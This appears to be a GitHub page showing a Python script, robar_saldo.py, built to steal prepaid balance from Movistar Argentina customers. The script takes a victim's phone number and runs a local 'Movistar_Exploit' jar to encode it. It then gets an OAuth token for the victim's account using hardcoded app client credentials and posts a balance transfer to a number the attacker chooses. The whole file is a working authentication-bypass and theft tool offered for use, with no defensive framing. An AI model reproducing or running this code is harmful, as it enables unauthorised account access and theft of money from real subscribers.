-
Notifications
You must be signed in to change notification settings - Fork 0
/
robar_saldo.py
83 lines (58 loc) · 1.84 KB
/
robar_saldo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
import subprocess
import requests
MOVISTAR_API_ROOT = "https://mi.movistar.com.ar/"
def get_token(numero):
headers = {
"x-requested-with": "com.services.movistar.ar",
"Content-Type": "application/x-www-form-urlencoded"
}
encoded_number = subprocess.getoutput(
"java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar %s" % numero)
print("Numero codificado: %s" % encoded_number)
data = {
"grant_type": "mobile",
"username": encoded_number,
"client_id": "appcontainer",
"client_secret": "YXBwY29udGFpbmVy"
}
r = requests.post(
url=MOVISTAR_API_ROOT + "oauth/token",
headers=headers,
data=data
)
if r.status_code == requests.codes.ok:
parsed_response = r.json()
token = parsed_response["access_token"]
print("Token: %s" % token)
return token
else:
print("Error 1")
return None
def robar_saldo(token, saldo, destino):
headers = {
"Authorization": "Bearer %s" % token,
"Content-Type": "application/json"
}
body = {
'amount': saldo,
'destination': destino
}
url = MOVISTAR_API_ROOT + "v1/recarga/cargamesaldo"
print("Posting request to: %s" % url)
r = requests.post(url,
headers=headers,
json=body)
print("Response: %s" % r.json())
def main():
telefono = input("Ingrese el numero de telefono victima: ")
destino = input("Ingrese el numero de telefono destino: ")
saldo = input("Ingrese el saldo a robar: ")
try:
token = get_token(telefono)
if token is not None:
robar_saldo(token, saldo, destino)
except:
print("Error al robar $%i de %i" % (saldo, telefono))
if __name__ == "__main__":
main()